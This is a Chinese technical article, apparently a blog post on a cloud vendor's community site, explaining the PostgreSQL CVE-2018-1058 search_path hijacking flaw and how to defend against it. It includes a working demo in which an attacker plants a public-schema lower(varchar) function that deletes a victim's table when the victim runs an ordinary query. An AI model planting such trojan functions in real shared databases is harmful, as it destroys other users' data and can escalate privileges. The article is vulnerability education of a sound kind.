PostgreSQL CVE-2018-1058(search_path) - 暨数据库的那些陷阱与攻防指南

本文涉及的产品
云原生数据库 PolarDB MySQL 版,Serverless 5000PCU 100GB
云原生数据库 PolarDB 分布式版,标准版 2核8GB
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介:

标签

PostgreSQL , search_path , 陷阱 , overload function


背景

PostgreSQL 元宵节对各个版本发布了小版本补丁,主要是解决一个search_path的功能,被攻击者利用来设置陷阱的问题。

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

CVE-2018-1058 陷阱介绍

1、namespace介绍

PostgreSQL schema即namespace,在一个DB中,可以创建多个schema,在schema中,可以创建对象。一个对象在一个schema中不允许重名,但是在多个schema中可以重名。

《PostgreSQL 逻辑结构 和 权限体系 介绍》

pic

2、search_path

那么当我们在查询数据库对象时,如何知道应该查哪个schema里的呢?

一种方法是fullpath,写成schemaname.obj_name

另一种方法是设置search_path,那么我们可以不写schemaname,也能找到对应的对象。例如(默认 search_path=$user, public; )

但是如果在多个schema中,有同样的对象,那么涉及到优先级的问题。

3、搜索优先级

pg_catalog 高于search_path的设置。

pg_catalog 是数据库的系统schema ,有最高优先级,所有的对象,如果在pg_catalog中有,那么优先使用pg_catalog的。

陷阱,由于search_path默认是$user, public,而public schema的读写权限默认是给所有角色的。

如果你没有使用fullpath的写法,而攻击者写了一个函数,并且这个函数可能是一个隐式转换前的(即完美匹配的函数),那么你的SQL将优先访问这个函数,覆盖pg_catalog中的。

4、攻击

普通用户a:

未使用fullpath,导致有被攻击的可能。

create table a(id int, info varchar);  
insert into a values(1,'abcdEFG');  
select id,lower(info) from a;  

lower系统函数,成为了一个陷阱,因为它不是varchar参数类型,用了隐式转换。

pp=> \df lower  
                          List of functions  
   Schema   | Name  | Result data type | Argument data types |  Type  
------------+-------+------------------+---------------------+--------  
 pg_catalog | lower | anyelement       | anyrange            | normal  
 pg_catalog | lower | text             | text                | normal  
(2 rows)  

攻击者b:

写一个函数,放到public,并且避免隐式转换.

create or replace function lower(varchar) returns void as $$  
declare  
begin  
  raise notice 'haha, delete your data';  
  delete from a;  
end;  
$$ language plpgsql strict SECURITY INVOKER;  

攻击者没有删除A表记录的权限,所以自己调用会报错。

但是这个陷阱是让a用户去踩的,我们看看A用户的调用。

postgres=> select lower('a'::varchar);  
NOTICE:  haha, delete your data  
ERROR:  permission denied for relation a  
CONTEXT:  SQL statement "delete from a"  
PL/pgSQL function lower(character varying) line 5 at SQL statement  

5、中招

普通用户,调用查询SQL,就会中招。

postgres=> \c postgres a  
You are now connected to database "postgres" as user "a".  
postgres=> select id,lower(info) from a;  
NOTICE:  haha, delete your data  
 id | lower  
----+-------  
  1 |  
(1 row)  
  
postgres=> select * from a;  
 id | info  
----+------  
(0 rows)  

a用户调用后,记录不见了,哭都来不及。

危害

攻击者,可能利用这个陷阱实现提权等操作,LIKE THIS:

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

危害巨大。

patch介绍

社区主要修正了一些search_path的文档内容,根据这个陷阱调整了一些建议。同时修改了pg_dump, pg_dumpall, pg_restore, vacuumdb等客户端代码,将search_path强制设置为只包含pg_catalog,因为通常调用这些客户端的都是超级用户,超级用户被下陷阱的话,危害就更大了。

Document how to configure installations and applications to guard against search-path-dependent trojan-horse attacks from other users (Noah Misch)

Using a search_path setting that includes any schemas writable by a hostile user enables that user to capture control of queries and then run arbitrary SQL code with the permissions of the attacked user. While it is possible to write queries that are proof against such hijacking, it is notationally tedious, and it's very easy to overlook holes. Therefore, we now recommend configurations in which no untrusted schemas appear in one's search path. Relevant documentation appears in Section 5.8.6 (for database administrators and users), Section 33.1 (for application authors), Section 37.15.1 (for extension authors), and CREATE FUNCTION (for authors of SECURITY DEFINER functions). (CVE-2018-1058)

Avoid use of insecure search_path settings in pg_dump and other client programs (Noah Misch, Tom Lane)

pg_dump, pg_upgrade, vacuumdb and other PostgreSQL-provided applications were themselves vulnerable to the type of hijacking described in the previous changelog entry; since these applications are commonly run by superusers, they present particularly attractive targets. To make them secure whether or not the installation as a whole has been secured, modify them to include only the pg_catalog schema in their search_path settings. Autovacuum worker processes now do the same, as well.

In cases where user-provided functions are indirectly executed by these programs — for example, user-provided functions in index expressions — the tighter search_path may result in errors, which will need to be corrected by adjusting those user-provided functions to not assume anything about what search path they are invoked under. That has always been good practice, but now it will be necessary for correct behavior. (CVE-2018-1058)

其他著名陷阱

1、函数陷阱

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

《PostgreSQL function's SECURITY DEFINER | INVOKER, SET configuration_parameter { TO value | = value | FROM CURRENT }》

2、杀进程陷阱

《PostgreSQL cancel 通信协议、信号和代码》

《PostgreSQL cancel 安全漏洞》

3、连接陷阱

《PostgreSQL 连接攻击(类似DDoS)》

4、视图陷阱

《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》

5、事件触发器陷阱

6、触发器陷阱

7、规则陷阱

8、目前 scheam OWNER可以删除任何人在它的schema中创建的object。存在一定风险。

但是一个database的owner确不能删除别人在它的database中创建的schema.

searcha_path陷阱攻防

1、对于search_path这个陷阱,如果你的程序使用full path,则不会被陷阱利用。

2、禁止用户使用public schema。因为所有人都拥有public schema的读写权限。

3、如果你的环境只有你一个人在使用,也没问题。

https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path

参考

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》

《PostgreSQL function's SECURITY DEFINER | INVOKER, SET configuration_parameter { TO value | = value | FROM CURRENT }》

《PostgreSQL cancel 通信协议、信号和代码》

《PostgreSQL cancel 安全漏洞》

https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
3天前
|
SQL 关系型数据库 数据库
关系型数据库选择合适的数据库管理系统
关系型数据库选择合适的数据库管理系统
9 2
|
4天前
|
关系型数据库 MySQL BI
关系型数据库选择合适的数据库管理系统
关系型数据库选择合适的数据库管理系统
16 4
|
3天前
|
负载均衡 关系型数据库 MySQL
关系型数据库的安装和配置数据库节点
关系型数据库的安装和配置数据库节点
12 3
|
3天前
|
SQL 存储 关系型数据库
性能诊断工具DBdoctor如何快速纳管数据库PolarDB-X
DBdoctor是一款基于eBPF技术的数据库性能诊断工具,已通过阿里云PolarDB分布式版(V2.3)认证。PolarDB-X是阿里云的高性能云原生分布式数据库,采用Shared-nothing和存储计算分离架构,支持高可用、水平扩展和低成本存储。PolarDB-X V2.3.0在读写混合场景下对比开源MySQL有30-40%的性能提升。DBdoctor能按MySQL方式纳管PolarDB-X的DN节点,提供性能洞察和诊断。用户可通过指定步骤安装PolarDB-X和DBdoctor,实现数据库的管理和性能监控。
|
4天前
|
Cloud Native 关系型数据库 分布式数据库
数据库性能诊断工具DBdoctor通过阿里云PolarDB产品生态集成认证
DBdoctor(V3.1.0)成功通过阿里云PolarDB分布式版(V2.3)集成认证,展现优秀兼容性和稳定性。此工具是聚好看科技的内核级数据库性能诊断产品,运用eBPF技术诊断SQL执行,提供智能巡检、根因分析和优化建议。最新版V3.1.1增加了对PolarDB-X和OceanBase的支持,以及基于cost的索引诊断功能。PolarDB-X是阿里巴巴的高性能云原生分布式数据库,兼容MySQL生态。用户可通过提供的下载地址、在线试用链接和部署指南体验DBdoctor。
|
5天前
|
存储 关系型数据库 分布式数据库
数据库索引回表困难?揭秘PolarDB存储引擎优化技术
PolarDB分布式版存储引擎采用CSM方案均衡资源开销与可用性。
数据库索引回表困难?揭秘PolarDB存储引擎优化技术
|
5天前
|
关系型数据库 Java 数据库
docker部署postgresql数据库和整合springboot连接数据源
docker部署postgresql数据库和整合springboot连接数据源
13 0
|
7天前
|
SQL JSON 关系型数据库
[UE虚幻引擎插件DTPostgreSQL] PostgreSQL Connector 使用蓝图连接操作 PostgreSQL 数据库说明
本插件主要是支持在UE蓝图中连接和操作PostgreSQL 数据库。
16 2
|
13天前
|
分布式计算 DataWorks 关系型数据库
DataWorks产品使用合集之在使用 DataWorks 数据集成同步 PostgreSQL 数据库中的 Geometry 类型数据如何解决
DataWorks作为一站式的数据开发与治理平台,提供了从数据采集、清洗、开发、调度、服务化、质量监控到安全管理的全套解决方案,帮助企业构建高效、规范、安全的大数据处理体系。以下是对DataWorks产品使用合集的概述,涵盖数据处理的各个环节。
24 0
|
14天前
|
分布式计算 关系型数据库 大数据
MaxCompute产品使用合集之怎么才可以将 PostgreSQL 中的 geometry 空间类型字段同步到 MaxCompute 或另一个 PostgreSQL 数据库
MaxCompute作为一款全面的大数据处理平台,广泛应用于各类大数据分析、数据挖掘、BI及机器学习场景。掌握其核心功能、熟练操作流程、遵循最佳实践,可以帮助用户高效、安全地管理和利用海量数据。以下是一个关于MaxCompute产品使用的合集,涵盖了其核心功能、应用场景、操作流程以及最佳实践等内容。

相关产品

  • 云原生数据库 PolarDB